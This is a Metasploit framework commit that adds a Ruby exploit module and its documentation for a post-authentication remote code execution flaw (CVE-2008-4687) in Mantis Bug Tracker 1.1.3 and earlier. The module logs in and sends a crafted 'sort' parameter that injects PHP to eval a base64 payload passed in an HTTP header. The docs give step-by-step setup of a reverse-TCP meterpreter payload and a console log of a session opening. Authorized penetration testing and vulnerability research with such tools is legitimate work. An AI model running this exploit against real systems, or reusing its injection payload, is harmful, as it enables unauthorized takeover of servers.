Land #9878, Add MSF module for EDB 6768, Mantis <= v1.1.3 Post-auth RCE

4.x
Jacob Robles 2018-05-09 11:55:22 -05:00 committed by Metasploit
parent 80b16ea645
commit b2b97db28b
No known key found for this signature in database
GPG Key ID: CDFB5FA52007B954
2 changed files with 168 additions and 0 deletions

View File

@ -0,0 +1,44 @@
## Vulnerable Application
Mantis Bug Tracker versions 1.1.3 and earlier are vulnerable to a post-authentication Remote Code Execution vulnerability. The `manage_proj_page.php` file passes the `$_GET['sort']` parameter to `/core/utility_api.php`'s `multi_sort()` function as parameter `$p_key`, which then passes it (unsanitized) to the `create_function()` as part of the payload `"return $t_factor * strnatcasecmp( \$a['$p_key'], \$b['$p_key'] );"`. A properly formatted `sort` param can escape and inject arbitrary PHP, which is then used to cradle and execute a PHP meterpreter payload. This has been tested from v1.0.0 to v1.1.3.
## Verification Steps
1. Download and install [mantis 1.1.3](https://www.exploit-db.com/apps/9d9079342cea8392a80d47d22b4b6d42-mantisbt-release-1.1.3.tar.gz)
2. `use exploit/multi/http/mantisbt_manage_proj_page_rce`
3. `set RHOST IP`
4. `set TARGETURI /`
5. `set USERNAME administrator`
6. `set PASSWORD root`
7. `set PAYLOAD php/meterpreter/reverse_tcp`
8. `set LHOST IP`
9. `exploit`
10. **Verify** a new Meterpreter session is started
## Scenarios
### MantisBT v1.1.3 on Debian
```
msf > use exploit/multi/http/mantisbt_manage_proj_page_rce
msf exploit(multi/http/mantisbt_manage_proj_page_rce) > set RHOST localhost
RHOST => localhost
msf exploit(multi/http/mantisbt_manage_proj_page_rce) > set RPORT 8000
RPORT => 8000
msf exploit(multi/http/mantisbt_manage_proj_page_rce) > set TARGETURI /
TARGETURI => /
msf exploit(multi/http/mantisbt_manage_proj_page_rce) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(multi/http/mantisbt_manage_proj_page_rce) > run
[!] You are binding to a loopback address by setting LHOST to ::1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on ::1:4444
[*] Checking Mantis version ...
[*] Mantis version 1.1.3 detected
[*] Sending payload ...
[*] Logging in as administrator:root
[*] Sending stage (37775 bytes) to ::1
[*] Sleeping before handling stage...
[*] Meterpreter session 1 opened (::1:4444 -> ::1:48182) at 2018-04-14 07:14:00 -0400
```

View File

@ -0,0 +1,124 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Mantis manage_proj_page PHP Code Execution',
'Description' => %q{
Mantis v1.1.3 and earlier are vulnerable to a post-authentication Remote
Code Execution vulnerability in the sort parameter of the
manage_proj_page.php page.
},
'Author' => [
'EgiX', # Exploit-DB Entry Author
'Lars Sorenson' # MSF module author
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '6768'],
['CVE', '2008-4687'],
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Mantis <= 1.1.3', { } ],
],
'DisclosureDate' => 'Oct 16, 2008',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the Mantis installation', '/mantisbt/']),
OptString.new('USERNAME', [true, 'The username to log in as', 'administrator']),
OptString.new('PASSWORD', [true, 'The password to log in with', 'root']),
])
end
def check
vprint_status('Checking Mantis version ...')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'login_page.php'),
'method' => 'GET'
})
unless res
vprint_error('Connection to host failed!')
return CheckCode::Unknown
end
unless res.body =~ /Mantis ([0-9]+\.[0-9]+\.[0-9]+)/
vprint_error('Cannot determine Mantis version!')
return CheckCode::Unknown
end
version = Gem::Version.new(Regexp.last_match[1])
vprint_status("Mantis version #{version} detected")
if res.code == 200 && version <= Gem::Version.new('1.1.3')
return CheckCode::Appears
end
CheckCode::Safe
end
def login
vprint_status("Logging in as #{datastore['username']}:#{datastore['password']} ... ")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login_page.php'),
})
unless res
fail_with(Failure::Unreachable, 'Cannot access host to log in!')
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'login.php'),
'method' => 'POST',
'vars_post' => {
'username': datastore['username'],
'password': datastore['password'],
},
'cookie'=> "PHPSESSID=#{res.get_cookies}"
})
unless res
fail_with(Failure::Unknown, 'Cannot access host to log in!')
end
fail_with(Failure::Unreachable, 'Login failed!') unless res.code == 302
fail_with(Failure::NoAccess, 'Wrong credentials!') if res.redirection.to_s.include?('login_page.php')
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
res.get_cookies
end
def exploit
fail_with(Failure::NotVulnerable, 'Target is not vulnerable!') unless check == CheckCode::Appears
cookie = login
vprint_status('Sending payload ...')
payload_b64 = Rex::Text.encode_base64(payload.encoded)
data = {
'sort' => "']);}error_reporting(0);print(_code_);eval(base64_decode($_SERVER[HTTP_CMD]));die();#",
}
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'manage_proj_page.php'),
'method' => 'POST',
'vars_post' => data,
'headers' => {
'Connection': 'close',
'Cookie': cookie.to_s,
'Cmd': payload_b64
}
})
end
end